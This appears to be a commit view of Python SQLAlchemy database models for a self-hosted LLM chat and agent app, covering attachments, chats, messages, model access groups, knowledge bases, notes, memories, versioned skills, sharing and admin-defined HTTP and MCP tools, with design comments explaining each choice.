# becomes text in the prompt.
KIND_IMAGE = "image"
KIND_DOCUMENT = "document" # PDF: text is extracted
KIND_TEXT = "text" # plain text, markdown, csv, source code
class Attachment(UUIDPrimaryKey, Timestamps, Base):
__tablename__ = "attachments"
user_id: Mapped[str] = mapped_column(
String(32), ForeignKey("users.id", ondelete="CASCADE"), nullable=False, index=True
)
chat_id: Mapped[str | None] = mapped_column(
String(32), ForeignKey("chats.id", ondelete="CASCADE"), index=True
)
# Null while the file is uploaded but the message has not been sent yet.
# Those orphans are swept periodically -- see services.files.sweep_orphans.
message_id: Mapped[str | None] = mapped_column(
String(32), ForeignKey("messages.id", ondelete="CASCADE"), index=True
)
# What the uploader called it. Display only, never used as a path.
filename: Mapped[str] = mapped_column(String(300), nullable=False)
# Random name on disk. See services.files for why the two are separate.
stored_name: Mapped[str] = mapped_column(String(120), nullable=False)
media_type: Mapped[str] = mapped_column(String(100), default="")
size_bytes: Mapped[int] = mapped_column(Integer, default=0, nullable=False)
kind: Mapped[str] = mapped_column(String(16), default=KIND_DOCUMENT, nullable=False)
# Images only, after downscaling.
width: Mapped[int] = mapped_column(Integer, default=0, nullable=False)
height: Mapped[int] = mapped_column(Integer, default=0, nullable=False)
# Documents and text: the content that actually reaches the model. Held in
# the database rather than re-extracted per request -- extraction is slow,
# and a reply must not silently change because a PDF parser was upgraded.
extracted_text: Mapped[str] = mapped_column(Text, default="")
pages: Mapped[int] = mapped_column(Integer, default=0, nullable=False)
truncated: Mapped[bool] = mapped_column(Boolean, default=False, nullable=False)
# Non-empty when the file was stored but its text could not be read, e.g. a
# scanned PDF with no text layer. Shown next to the attachment so the user
# is not left wondering why the model ignored it.
extraction_error: Mapped[str] = mapped_column(Text, default="")
# Where this came from, when it came from somewhere with an address.
#
# `filename` is a display name and is frequently just the basename, which
# is not enough: a model told it has been given `main.py` cannot tell which
# of four it is looking at, and cannot name the file back to you if you ask
# it to change something. So a project file carries its absolute path and
# the machine it was read from, and both go into the tag the model sees.
#
# Nullable, and empty for an ordinary upload -- a file dragged in from a
# laptop has no address this instance could meaningfully report.
source_path: Mapped[str] = mapped_column(String(1000), default="")
source_label: Mapped[str] = mapped_column(String(200), default="")
message: Mapped[Message] = relationship(back_populates="attachments") # noqa: F821
@property
def is_image(self) -> bool:
return self.kind == KIND_IMAGE
@property
def human_size(self) -> str:
size = float(self.size_bytes)
for unit in ("B", "KB", "MB"):
if size < 1024 or unit == "MB":
return f"{size:.0f} {unit}" if unit == "B" else f"{size:.1f} {unit}"
size /= 1024
return f"{size:.1f} MB"
def __repr__(self) -> str:
return f"<Attachment {self.filename} {self.kind}>"
+163 -2
View File
@@ -2,19 +2,37 @@
from __future__ import annotations from __future__ import annotations
from typing import Any from datetime import datetime
from typing import TYPE_CHECKING, Any
from sqlalchemy import Boolean, ForeignKey, Integer, String, Text from sqlalchemy import Boolean, DateTime, ForeignKey, Integer, String, Text
from sqlalchemy.orm import Mapped, mapped_column, relationship from sqlalchemy.orm import Mapped, mapped_column, relationship
from lembas.db.base import Base, Timestamps, UUIDPrimaryKey from lembas.db.base import Base, Timestamps, UUIDPrimaryKey
from lembas.db.types import JSONDict, JSONList from lembas.db.types import JSONDict, JSONList
if TYPE_CHECKING:
# Annotation only; SQLAlchemy resolves the name through its own registry at
# runtime, so there is no import cycle. A bare `Mapped[list]` would be read
# as a scalar and hand back None instead of [].
from lembas.db.models.library import KnowledgeBase
ROLE_SYSTEM = "system" ROLE_SYSTEM = "system"
ROLE_USER = "user" ROLE_USER = "user"
ROLE_ASSISTANT = "assistant" ROLE_ASSISTANT = "assistant"
ROLE_TOOL = "tool" ROLE_TOOL = "tool"
# What a conversation is allowed to be. A plain chat can never act; an agent
# chat is pointed at a machine before it starts and stays pointed there.
KIND_CHAT = "chat"
KIND_AGENT = "agent"
KINDS = (KIND_CHAT, KIND_AGENT)
# Duplicated from services/agent/policy.py rather than imported: a model module
# importing a service would invert the dependency, and this is only the column
# default. policy.MODES is the vocabulary; this is what a row starts as.
MODE_MANUAL = "manual"
class Folder(UUIDPrimaryKey, Timestamps, Base): class Folder(UUIDPrimaryKey, Timestamps, Base):
"""A user-owned, arbitrarily nested container for chats.""" """A user-owned, arbitrarily nested container for chats."""
@@ -39,6 +57,24 @@ class Folder(UUIDPrimaryKey, Timestamps, Base):
parent: Mapped[Folder | None] = relationship(back_populates="children", remote_side="Folder.id") parent: Mapped[Folder | None] = relationship(back_populates="children", remote_side="Folder.id")
chats: Mapped[list[Chat]] = relationship(back_populates="folder") chats: Mapped[list[Chat]] = relationship(back_populates="folder")
@property
def visible_chats(self) -> list[Chat]:
"""The chats in this folder that belong in the sidebar.
The relationship itself stays unfiltered -- back-population needs every
row -- so the listing rule lives here rather than in the template, where
the loop and the "Empty" check would have to agree by hand and already
did not: archived chats have been showing inside folders since folders
existed. The unfiled list has always filtered them (api/pages.py); the
folder branch went through the relationship and filtered nothing.
Ordered like the unfiled list: pinned first, then most recently touched.
"""
kept = [chat for chat in self.chats if not chat.archived and not chat.temporary]
kept.sort(key=lambda chat: chat.updated_at, reverse=True)
kept.sort(key=lambda chat: not chat.pinned)
return kept
def __repr__(self) -> str: def __repr__(self) -> str:
return f"<Folder {self.name}>" return f"<Folder {self.name}>"
@@ -71,12 +107,81 @@ class Chat(UUIDPrimaryKey, Timestamps, Base):
pinned: Mapped[bool] = mapped_column(Boolean, default=False, nullable=False) pinned: Mapped[bool] = mapped_column(Boolean, default=False, nullable=False)
archived: Mapped[bool] = mapped_column(Boolean, default=False, nullable=False) archived: Mapped[bool] = mapped_column(Boolean, default=False, nullable=False)
# Never listed in the sidebar, and swept a day after the last thing said in
# it. A real row rather than something held in the browser, so a reload or a
# dropped connection does not lose the conversation -- and `Keep` clears the
# flag, because a temporary chat that turns out to matter must have a way
# out. See services/chat.py:sweep_temporary.
temporary: Mapped[bool] = mapped_column(Boolean, default=False, nullable=False)
# A reply landed while nobody was watching this chat. Cleared when the chat
# is next opened. `unread_notified` stops the same arrival being announced
# on every poll.
unread: Mapped[bool] = mapped_column(Boolean, default=False, nullable=False)
unread_notified: Mapped[bool] = mapped_column(Boolean, default=False, nullable=False)
# --- Agent chats ---------------------------------------------------------
# Whether this conversation may act, and where. Chosen on the new-chat
# screen and fixed once there is a message: the harness, the tools offered
# and the approval loop all differ, so a chat that changed kind halfway
# would have a transcript whose earlier turns were produced under other
# rules. The connection is locked with it -- a shell history and a project
# directory do not transplant to another machine.
kind: Mapped[str] = mapped_column(String(16), default=KIND_CHAT, nullable=False)
# A plain id rather than a ForeignKey, for the reason `compacted_through_id`
# below gives: migrations.py compiles only the column type, so a REFERENCES
# clause would exist on a fresh database and not on an upgraded one.
# Validated on read instead.
ssh_profile_id: Mapped[str | None] = mapped_column(String(32))
# Where commands start on the far side, and what file paths resolve against.
project_dir: Mapped[str] = mapped_column(String(500), default="")
# Which of the four permission modes is in force. The one agent field that
# IS switchable mid-chat: it decides what gets asked about, not what the
# conversation is.
agent_mode: Mapped[str] = mapped_column(String(16), default=MODE_MANUAL, nullable=False)
# Set when a turn was edited or regenerated in an agent chat. The project
# directory is deliberately NOT rewound with the transcript -- it is
# somebody's real working tree and deleting their work would be far worse
# than an inconsistency -- so the harness says so instead.
rewound_at: Mapped[datetime | None] = mapped_column(DateTime(timezone=True))
# Which message carries the plan currently in force. A plain id and not a
# ForeignKey, for the reason `compacted_through_id` below gives; validated
# on read. It exists so the harness can put the plan in front of the model
# with one `db.get` by primary key rather than a scan for "the newest
# message with a plan" -- `context_variables` is synchronous and on the
# request path. A plan a model cannot see is a plan it cannot keep current.
plan_message_id: Mapped[str | None] = mapped_column(String(32))
# What this chat has switched off, narrowing what it is already allowed.
# {"families": {"web_search": false}, "skills": {"weekly-report": false}}.
# **Absent means on**, for every key -- the same convention
# `McpServer.tool_overrides_json` uses, and for the same reason: two
# representations of "on" makes "why is this off?" unanswerable.
scope_json: Mapped[dict[str, Any]] = mapped_column(JSONDict, default=dict)
# --- Compaction ----------------------------------------------------------
# A summary of the turns up to `compacted_through_id`, sent in their place.
# The messages themselves are kept and still shown; they simply stop being
# part of the request. See services/compaction.py.
compact_summary: Mapped[str] = mapped_column(Text, default="")
# A plain id, deliberately not a ForeignKey: db/migrations.py compiles only
# the column type, so a REFERENCES clause would exist on a freshly created
# database and not on an upgraded one, and a constraint half the fleet has
# is worse than none. It is validated on every read instead -- the same
# reasoning `model_id` above carries.
compacted_through_id: Mapped[str | None] = mapped_column(String(32))
compacted_at: Mapped[datetime | None] = mapped_column(DateTime(timezone=True))
folder: Mapped[Folder | None] = relationship(back_populates="chats") folder: Mapped[Folder | None] = relationship(back_populates="chats")
messages: Mapped[list[Message]] = relationship( messages: Mapped[list[Message]] = relationship(
back_populates="chat", back_populates="chat",
cascade="all, delete-orphan", cascade="all, delete-orphan",
order_by="Message.created_at", order_by="Message.created_at",
) )
# Which knowledge bases this chat draws on. None means "everything its owner
# can see"; naming some scopes the knowledge tool to those.
knowledge_bases: Mapped[list[KnowledgeBase]] = relationship(
"KnowledgeBase", secondary="chat_knowledge_bases"
)
def __repr__(self) -> str: def __repr__(self) -> str:
return f"<Chat {self.title!r}>" return f"<Chat {self.title!r}>"
@@ -101,17 +206,73 @@ class Message(UUIDPrimaryKey, Timestamps, Base):
# Plain-text messages leave this empty and use `content`. # Plain-text messages leave this empty and use `content`.
content_parts_json: Mapped[list[Any]] = mapped_column(JSONList, default=list) content_parts_json: Mapped[list[Any]] = mapped_column(JSONList, default=list)
# A reasoning model's visible thinking, kept separate from the answer so it
# can be collapsed, and so it is never fed back as context on the next turn
# -- providers expect the answer alone, and replaying the thinking both
# wastes the window and degrades the reply.
reasoning: Mapped[str] = mapped_column(Text, default="")
# Milliseconds spent producing the reasoning, for the "Thought for Xs" label.
reasoning_ms: Mapped[int] = mapped_column(Integer, default=0, nullable=False)
model_id: Mapped[str] = mapped_column(String(300), default="") model_id: Mapped[str] = mapped_column(String(300), default="")
# What the model did before answering: one entry per tool call, with its
# arguments and results. Shown in the transcript so the sources behind an
# answer stay visible, and deliberately NOT replayed as context on the next
# turn -- see services/generation.py for why.
tool_calls_json: Mapped[list[Any]] = mapped_column(JSONList, default=list) tool_calls_json: Mapped[list[Any]] = mapped_column(JSONList, default=list)
usage_json: Mapped[dict[str, Any]] = mapped_column(JSONDict, default=dict) usage_json: Mapped[dict[str, Any]] = mapped_column(JSONDict, default=dict)
# A plan produced in Plan mode, or the state of one being carried out. See
# services/plans.py for the shape. Marked on the row rather than parsed back
# out of the prose, so the Execute button sends exactly what was proposed
# and not an approximation of it. Read through the `plan` property below,
# never directly: rows written before version 2 hold `{title, steps}`.
plan_json: Mapped[dict[str, Any]] = mapped_column(JSONDict, default=dict)
# Non-empty when generation failed. Rendered as a styled error in the # Non-empty when generation failed. Rendered as a styled error in the
# thread so a failed turn is never an unexplained blank bubble. # thread so a failed turn is never an unexplained blank bubble.
error: Mapped[str] = mapped_column(Text, default="") error: Mapped[str] = mapped_column(Text, default="")
# False while a reply is still streaming; flipped when the stream ends. # False while a reply is still streaming; flipped when the stream ends.
complete: Mapped[bool] = mapped_column(Boolean, default=True, nullable=False) complete: Mapped[bool] = mapped_column(Boolean, default=True, nullable=False)
# True when the reader pressed Stop. Distinct from `error`: the text that
# did arrive is kept and is perfectly usable, it is just cut short.
stopped: Mapped[bool] = mapped_column(Boolean, default=False, nullable=False)
# Typed while a reply was still being written, and not yet handed to a
# model. A row rather than something held in the browser: it survives a
# restart, it is in the transcript the moment it is typed, and it can be
# withdrawn before it is ever sent. `build_messages` skips it; delivery --
# `generation._drain` at the end of a reply, or `_inject` between two rounds
# of tool calls -- is the only thing that clears it.
queued: Mapped[bool] = mapped_column(Boolean, default=False, nullable=False)
chat: Mapped[Chat] = relationship(back_populates="messages") chat: Mapped[Chat] = relationship(back_populates="messages")
attachments: Mapped[list[Attachment]] = relationship( # noqa: F821
back_populates="message",
cascade="all, delete-orphan",
order_by="Attachment.created_at",
)
@property
def images(self) -> list:
return [a for a in self.attachments if a.is_image]
@property
def documents(self) -> list:
return [a for a in self.attachments if not a.is_image]
@property
def plan(self) -> dict:
"""The plan, always in the current shape.
A property for the reason `images` and `documents` are: a message bubble
is rendered from four different handlers, and every one of them would
otherwise have to remember to normalise. Rows written before version 2
hold `{title, steps}` and come back through here as one phase.
"""
from lembas.services import plans
return plans.normalise(self.plan_json)
def __repr__(self) -> str: def __repr__(self) -> str:
return f"<Message {self.role} {self.content[:40]!r}>" return f"<Message {self.role} {self.content[:40]!r}>"
+68 -3
View File
@@ -3,14 +3,38 @@
from __future__ import annotations from __future__ import annotations
from datetime import datetime from datetime import datetime
from typing import Any from typing import TYPE_CHECKING, Any
from sqlalchemy import Boolean, DateTime, ForeignKey, Integer, String, Text, UniqueConstraint from sqlalchemy import (
Boolean,
Column,
DateTime,
ForeignKey,
Integer,
String,
Table,
Text,
UniqueConstraint,
)
from sqlalchemy.orm import Mapped, mapped_column, relationship from sqlalchemy.orm import Mapped, mapped_column, relationship
from lembas.db.base import Base, Timestamps, UUIDPrimaryKey from lembas.db.base import Base, Timestamps, UUIDPrimaryKey
from lembas.db.types import JSONDict from lembas.db.types import JSONDict
if TYPE_CHECKING:
# Import only for the annotation; at runtime SQLAlchemy resolves the
# name through its own class registry, so there is no import cycle.
from lembas.db.models.user import Group
# Which groups may use a given model. A model with no rows here is reachable
# only by administrators unless it is marked public.
model_groups = Table(
"model_groups",
Base.metadata,
Column("model_id", String(32), ForeignKey("models.id", ondelete="CASCADE"), primary_key=True),
Column("group_id", String(32), ForeignKey("groups.id", ondelete="CASCADE"), primary_key=True),
)
class Connection(UUIDPrimaryKey, Timestamps, Base): class Connection(UUIDPrimaryKey, Timestamps, Base):
"""A configured upstream endpoint speaking the OpenAI HTTP API. """A configured upstream endpoint speaking the OpenAI HTTP API.
@@ -64,19 +88,60 @@ class Model(UUIDPrimaryKey, Timestamps, Base):
) )
model_id: Mapped[str] = mapped_column(String(300), nullable=False) model_id: Mapped[str] = mapped_column(String(300), nullable=False)
display_name: Mapped[str] = mapped_column(String(300), default="") display_name: Mapped[str] = mapped_column(String(300), default="")
description: Mapped[str] = mapped_column(Text, default="")
enabled: Mapped[bool] = mapped_column(Boolean, default=True, nullable=False) enabled: Mapped[bool] = mapped_column(Boolean, default=True, nullable=False)
# Sort order in every picker. Ties fall back to model_id so the order is
# stable rather than whatever SQLite feels like today.
position: Mapped[int] = mapped_column(Integer, default=0, nullable=False)
# Pinned models are offered first, before the full list.
pinned: Mapped[bool] = mapped_column(Boolean, default=False, nullable=False)
# Public models are usable by anyone; otherwise access comes from `groups`.
public: Mapped[bool] = mapped_column(Boolean, default=True, nullable=False)
# Filename under <data>/uploads/models. Stored rather than a URL so the
# image cannot become a request to a third party on every page render.
image_path: Mapped[str] = mapped_column(String(300), default="")
# Applied to chats using this model when the chat has none of its own.
# See services.chat.effective_system_prompt for the precedence.
system_prompt: Mapped[str] = mapped_column(Text, default="")
# Endpoints do not reliably advertise capabilities, so these are admin # Endpoints do not reliably advertise capabilities, so these are admin
# overrides consumed by later passes (vision uploads, tool calling). # overrides. Recognised keys: vision, tools, reasoning.
capabilities_json: Mapped[dict[str, Any]] = mapped_column(JSONDict, default=dict) capabilities_json: Mapped[dict[str, Any]] = mapped_column(JSONDict, default=dict)
# Default sampling params applied to new chats using this model. # Default sampling params applied to new chats using this model.
params_json: Mapped[dict[str, Any]] = mapped_column(JSONDict, default=dict) params_json: Mapped[dict[str, Any]] = mapped_column(JSONDict, default=dict)
# How many tokens this model can hold. 0 means unknown, which is what an
# endpoint that does not advertise it leaves behind -- and unknown has to
# stay tellable from "small", because the context percentage and automatic
# compaction both refuse to act on a number nobody supplied.
#
# A column rather than a key in capabilities_json: that dict is rebuilt
# wholesale from the submitted checkboxes on every save (api/admin_models.py),
# so a number living in it would be destroyed the next time an administrator
# ticked anything.
context_length: Mapped[int] = mapped_column(Integer, default=0, nullable=False)
connection: Mapped[Connection] = relationship(back_populates="models") connection: Mapped[Connection] = relationship(back_populates="models")
groups: Mapped[list[Group]] = relationship(
"Group", secondary=model_groups, back_populates="models"
)
@property @property
def label(self) -> str: def label(self) -> str:
return self.display_name or self.model_id return self.display_name or self.model_id
@property
def supports_reasoning(self) -> bool:
return bool((self.capabilities_json or {}).get("reasoning"))
@property
def initial(self) -> str:
"""First character of the label, for the fallback avatar."""
return (self.label.strip() or "?")[0].upper()
def __repr__(self) -> str: def __repr__(self) -> str:
return f"<Model {self.model_id}>" return f"<Model {self.model_id}>"
+288
View File
@@ -0,0 +1,288 @@
"""What the model can reach for: knowledge, notes, memory and skills.
Four stores rather than one, because they differ in the two ways that matter --
who writes a record, and how a record reaches the model:
* **Document** is uploaded by a person and searched by the model. It is the
only one holding a file, and it is deliberately shaped like ``Attachment``:
both come out of ``services.files.prepare`` and carry the same processed
content.
* **Note** is written by the model and edited by a person. Long enough that it
has to be searched rather than injected.
* **Memory** is one short fact, and *is* injected -- every one of them, every
turn, up to a budget. Anything that would not survive that treatment belongs
in a note.
* **Skill** is a named instruction document. Its description is injected so the
model knows the skill exists; the body is fetched only when it decides to use
it, which is what keeps a hundred skills affordable.
Everything except Memory can be shared -- see ``Share`` below and
``services.sharing``. Memory cannot: a record about a person is not content to
hand round, and "share my memories with the team" is a question nobody asked.
"""
from __future__ import annotations
from sqlalchemy import (
Boolean,
Column,
ForeignKey,
Index,
Integer,
String,
Table,
Text,
UniqueConstraint,
)
from sqlalchemy.orm import Mapped, mapped_column, relationship
from lembas.db.base import Base, Timestamps, UUIDPrimaryKey
# Who wrote a record. Not decoration: a skill the model wrote itself is the one
# worth looking at twice when its behaviour changes unexpectedly.
AUTHOR_USER = "user"
AUTHOR_MODEL = "model"
# Where a document came from.
SOURCE_UPLOAD = "upload"
SOURCE_LINK = "link"
# Resource kinds that can be shared. Values are stored, so they are part of the
# schema rather than an implementation detail.
RESOURCE_BASE = "base"
RESOURCE_NOTE = "note"
RESOURCE_SKILL = "skill"
PRINCIPAL_USER = "user"
PRINCIPAL_GROUP = "group"
# Which knowledge bases a chat draws on. A chat with none searches everything
# its owner can see; a chat with some is scoped to those, which is the point --
# "answer from the contract folder" is a different question from "answer from
# everything I have ever uploaded".
chat_knowledge_bases = Table(
"chat_knowledge_bases",
Base.metadata,
Column("chat_id", String(32), ForeignKey("chats.id", ondelete="CASCADE"), primary_key=True),
Column(
"base_id",
String(32),
ForeignKey("knowledge_bases.id", ondelete="CASCADE"),
primary_key=True,
),
)
class KnowledgeBase(UUIDPrimaryKey, Timestamps, Base):
"""A named collection of documents.
Sharing lives here rather than on the individual document: "this folder is
the team's" is the granularity people actually think in, and per-document
grants would mean answering "who can see this?" by checking every file.
A document is visible to whoever can see the base it is in.
"""
__tablename__ = "knowledge_bases"
__table_args__ = (UniqueConstraint("owner_id", "name"),)
owner_id: Mapped[str] = mapped_column(
String(32), ForeignKey("users.id", ondelete="CASCADE"), nullable=False, index=True
)
name: Mapped[str] = mapped_column(String(200), nullable=False)
description: Mapped[str] = mapped_column(Text, default="")
documents: Mapped[list[Document]] = relationship(
back_populates="base", cascade="all, delete-orphan"
)
def __repr__(self) -> str:
return f"<KnowledgeBase {self.name!r}>"
class Document(UUIDPrimaryKey, Timestamps, Base):
"""One item in a knowledge library: a file, an image or a saved web page.
The content columns mirror ``Attachment`` exactly because both are produced
by ``services.files.prepare`` -- images downscaled, PDF text extracted once,
type decided by sniffing bytes. Keeping the shapes identical is what lets a
document be attached to a message by copying rather than converting.
"""
__tablename__ = "documents"
owner_id: Mapped[str] = mapped_column(
String(32), ForeignKey("users.id", ondelete="CASCADE"), nullable=False, index=True
)
# Nullable only so the column could be added to an existing table. The
# service always sets it, and a startup sweep files anything that predates
# bases into its owner's default -- see documents.sweep_unfiled.
base_id: Mapped[str | None] = mapped_column(
String(32), ForeignKey("knowledge_bases.id", ondelete="CASCADE"), index=True
)
title: Mapped[str] = mapped_column(String(300), nullable=False)
description: Mapped[str] = mapped_column(Text, default="")
source: Mapped[str] = mapped_column(String(16), default=SOURCE_UPLOAD, nullable=False)
# Set for a saved web page, so it can be re-fetched and cited.
source_url: Mapped[str] = mapped_column(Text, default="")
# --- The same content columns as Attachment ---
filename: Mapped[str] = mapped_column(String(300), default="")
stored_name: Mapped[str] = mapped_column(String(120), default="")
media_type: Mapped[str] = mapped_column(String(100), default="")
size_bytes: Mapped[int] = mapped_column(Integer, default=0, nullable=False)
kind: Mapped[str] = mapped_column(String(16), default="text", nullable=False)
width: Mapped[int] = mapped_column(Integer, default=0, nullable=False)
height: Mapped[int] = mapped_column(Integer, default=0, nullable=False)
extracted_text: Mapped[str] = mapped_column(Text, default="")
pages: Mapped[int] = mapped_column(Integer, default=0, nullable=False)
truncated: Mapped[bool] = mapped_column(Boolean, default=False, nullable=False)
extraction_error: Mapped[str] = mapped_column(Text, default="")
base: Mapped[KnowledgeBase] = relationship(back_populates="documents")
@property
def is_image(self) -> bool:
return self.kind == "image"
@property
def human_size(self) -> str:
size = float(self.size_bytes)
for unit in ("B", "KB", "MB"):
if size < 1024 or unit == "MB":
return f"{size:.0f} {unit}" if unit == "B" else f"{size:.1f} {unit}"
size /= 1024
return f"{size:.1f} MB"
def __repr__(self) -> str:
return f"<Document {self.title!r}>"
class Note(UUIDPrimaryKey, Timestamps, Base):
"""Something the model wrote down, or a person did.
Longer and more specific than a memory. Not injected: a handful of notes
would fill a context window on their own, so the model searches for the one
it needs.
"""
__tablename__ = "notes"
owner_id: Mapped[str] = mapped_column(
String(32), ForeignKey("users.id", ondelete="CASCADE"), nullable=False, index=True
)
title: Mapped[str] = mapped_column(String(300), nullable=False)
body: Mapped[str] = mapped_column(Text, default="")
author: Mapped[str] = mapped_column(String(16), default=AUTHOR_USER, nullable=False)
def __repr__(self) -> str:
return f"<Note {self.title!r}>"
class Memory(UUIDPrimaryKey, Timestamps, Base):
"""One short fact, in front of the model on every turn.
Deliberately not shareable and deliberately small. The length cap is
enforced in the service rather than by the column, so an over-long write
from a tool is trimmed with an explanation instead of failing the turn.
"""
__tablename__ = "memories"
owner_id: Mapped[str] = mapped_column(
String(32), ForeignKey("users.id", ondelete="CASCADE"), nullable=False, index=True
)
content: Mapped[str] = mapped_column(Text, nullable=False)
author: Mapped[str] = mapped_column(String(16), default=AUTHOR_MODEL, nullable=False)
def __repr__(self) -> str:
return f"<Memory {self.content[:40]!r}>"
class Skill(UUIDPrimaryKey, Timestamps, Base):
"""A named set of instructions the model can choose to follow.
`description` is the load-bearing field: it is what gets injected, and it is
the only thing the model has to decide whether the skill is relevant. The
body is fetched with a tool.
"""
__tablename__ = "skills"
__table_args__ = (UniqueConstraint("owner_id", "name"),)
owner_id: Mapped[str] = mapped_column(
String(32), ForeignKey("users.id", ondelete="CASCADE"), nullable=False, index=True
)
# Slug, referenced by the model when it asks for the body.
name: Mapped[str] = mapped_column(String(120), nullable=False)
description: Mapped[str] = mapped_column(Text, default="")
body: Mapped[str] = mapped_column(Text, default="")
enabled: Mapped[bool] = mapped_column(Boolean, default=True, nullable=False)
author: Mapped[str] = mapped_column(String(16), default=AUTHOR_USER, nullable=False)
revisions: Mapped[list[SkillRevision]] = relationship(
back_populates="skill",
cascade="all, delete-orphan",
order_by="SkillRevision.created_at.desc()",
)
def __repr__(self) -> str:
return f"<Skill {self.name}>"
class SkillRevision(UUIDPrimaryKey, Timestamps, Base):
"""The state of a skill before a change.
A model may rewrite its own skills, so every write snapshots what was there
first. That is the whole safety story for self-modification: not a gate, but
a record and a way back.
"""
__tablename__ = "skill_revisions"
skill_id: Mapped[str] = mapped_column(
String(32), ForeignKey("skills.id", ondelete="CASCADE"), nullable=False, index=True
)
description: Mapped[str] = mapped_column(Text, default="")
body: Mapped[str] = mapped_column(Text, default="")
# Who made the change this revision is the "before" of.
author: Mapped[str] = mapped_column(String(16), default=AUTHOR_USER, nullable=False)
note: Mapped[str] = mapped_column(String(200), default="")
skill: Mapped[Skill] = relationship(back_populates="revisions")
class Share(UUIDPrimaryKey, Timestamps, Base):
"""One grant of access to one resource.
A single table across documents, notes and skills rather than three
association tables, because the rule is identical in all three cases and
``services.sharing`` is the only thing that reads it.
A grant, never a denial -- the same principle as group permissions. Somebody
who cannot see a resource simply has no row here.
"""
__tablename__ = "shares"
__table_args__ = (
UniqueConstraint(
"resource_type", "resource_id", "principal_type", "principal_id"
),
)
resource_type: Mapped[str] = mapped_column(String(16), nullable=False)
resource_id: Mapped[str] = mapped_column(String(32), nullable=False)
principal_type: Mapped[str] = mapped_column(String(16), nullable=False)
# No foreign key: this column points at users or groups depending on
# principal_type, and SQLite cannot express that. services.sharing deletes
# dangling rows when a user or group goes.
principal_id: Mapped[str] = mapped_column(String(32), nullable=False)
def __repr__(self) -> str:
return f"<Share {self.resource_type}:{self.resource_id} -> {self.principal_type}>"
Index("ix_shares_resource", Share.resource_type, Share.resource_id)
Index("ix_shares_principal", Share.principal_type, Share.principal_id)
+32
View File
@@ -0,0 +1,32 @@
"""Starting points offered on the new-chat screen."""
from __future__ import annotations
from sqlalchemy import Boolean, Integer, String, Text
from sqlalchemy.orm import Mapped, mapped_column
from lembas.db.base import Base, Timestamps, UUIDPrimaryKey
class Suggestion(UUIDPrimaryKey, Timestamps, Base):
"""One card on the empty chat screen.
Instance-wide rather than per-user: these are what an administrator wants
people to start with, the same way the instance system prompt is. There is
no owner_id and therefore nothing for `sharing` to decide.
"""
__tablename__ = "suggestions"
name: Mapped[str] = mapped_column(String(120), nullable=False)
description: Mapped[str] = mapped_column(String(300), default="")
# Sent as the first message the moment the card is clicked, so it has to
# stand on its own -- there is no chance to add anything to it first. The
# built-ins ask for what they need rather than assuming material.
prompt: Mapped[str] = mapped_column(Text, default="")
enabled: Mapped[bool] = mapped_column(Boolean, default=True, nullable=False)
position: Mapped[int] = mapped_column(Integer, default=0, nullable=False)
def __repr__(self) -> str:
return f"<Suggestion {self.name}>"
+187
View File
@@ -0,0 +1,187 @@
"""Tools an administrator defined: HTTP endpoints and remote MCP servers.
Both are instance configuration rather than someone's content, so access is
shaped like `Model` and not like a note: a row is either public or reachable
through the groups it names, resolved the way `permissions.models_visible_to`
resolves a model. There is deliberately no per-user tool. A tool is a credential
pointed at a third party, and "anyone may define one" is a different feature
with a different threat model.
The two tables are near-twins on purpose -- name, slug, secret, group list,
last check -- because an administrator adding one should not have to learn a
second screen. What differs is what sits between the row and the model: a
custom tool *is* one call, described here in full, while an MCP server is a
conversation whose tools are discovered and cached.
"""
from __future__ import annotations
from datetime import datetime
from typing import TYPE_CHECKING, Any
from sqlalchemy import Boolean, Column, DateTime, ForeignKey, Integer, String, Table, Text
from sqlalchemy.orm import Mapped, mapped_column, relationship
from lembas.db.base import Base, Timestamps, UUIDPrimaryKey
from lembas.db.types import JSONDict, JSONList
if TYPE_CHECKING:
# Annotation only; SQLAlchemy resolves the real class from its registry.
from lembas.db.models.user import Group
# How a row's secret is attached to a request. Stored values, so these are
# schema rather than presentation.
SECRET_NONE = "none"
SECRET_BEARER = "bearer"
SECRET_HEADER = "header"
SECRET_QUERY = "query"
SECRET_PLACEMENTS = (SECRET_NONE, SECRET_BEARER, SECRET_HEADER, SECRET_QUERY)
# How a response becomes text for the model.
RESPONSE_TEXT = "text" # prose; HTML reduced by fetch.html_to_text
RESPONSE_JSON = "json" # parsed, narrowed by response_path, pretty-printed
RESPONSE_RAW = "raw" # verbatim, truncated -- CSV, plain logs
RESPONSE_MODES = (RESPONSE_TEXT, RESPONSE_JSON, RESPONSE_RAW)
custom_tool_groups = Table(
"custom_tool_groups",
Base.metadata,
Column(
"tool_id", String(32), ForeignKey("custom_tools.id", ondelete="CASCADE"), primary_key=True
),
Column("group_id", String(32), ForeignKey("groups.id", ondelete="CASCADE"), primary_key=True),
)
mcp_server_groups = Table(
"mcp_server_groups",
Base.metadata,
Column(
"server_id", String(32), ForeignKey("mcp_servers.id", ondelete="CASCADE"), primary_key=True
),
Column("group_id", String(32), ForeignKey("groups.id", ondelete="CASCADE"), primary_key=True),
)
class CustomTool(UUIDPrimaryKey, Timestamps, Base):
"""One HTTP call, described well enough for a model to decide to make it."""
__tablename__ = "custom_tools"
# `slug` IS the function name sent to the endpoint, so it is bound by the
# charset those accept and is fixed once the row exists: it is also half of
# this tool's prompt-fragment key. `name` is the human label, shown in the
# admin list and in the transcript.
slug: Mapped[str] = mapped_column(String(64), unique=True, nullable=False)
name: Mapped[str] = mapped_column(String(120), nullable=False)
# Sent verbatim in the tools array. The only thing the model has to decide
# with, which is why the form insists on it.
description: Mapped[str] = mapped_column(Text, default="")
parameters_json: Mapped[dict[str, Any]] = mapped_column(JSONDict, default=dict)
# The *default* text of this tool's harness fragment. An administrator's
# edit on /admin/prompts is an override stored in the settings group like
# any other, so a tool deleted and recreated under the same slug keeps the
# wording somebody chose for it.
guidance: Mapped[str] = mapped_column(Text, default="")
method: Mapped[str] = mapped_column(String(8), default="GET", nullable=False)
# {{name}} placeholders, filled from the call's arguments. The scheme and
# the host must be literal -- see services/custom_tools.py for why.
url_template: Mapped[str] = mapped_column(String(1000), nullable=False)
body_template: Mapped[str] = mapped_column(Text, default="")
headers_json: Mapped[dict[str, Any]] = mapped_column(JSONDict, default=dict)
secret_encrypted: Mapped[str] = mapped_column(Text, default="")
secret_placement: Mapped[str] = mapped_column(
String(16), default=SECRET_BEARER, nullable=False
)
secret_name: Mapped[str] = mapped_column(String(120), default="Authorization")
response_mode: Mapped[str] = mapped_column(String(16), default=RESPONSE_TEXT, nullable=False)
# A dotted path into a JSON response: "data.items.0.title". Empty is the
# whole document. Not JSONPath -- that is a dependency and a syntax nobody
# would remember for the one field they want.
response_path: Mapped[str] = mapped_column(String(300), default="")
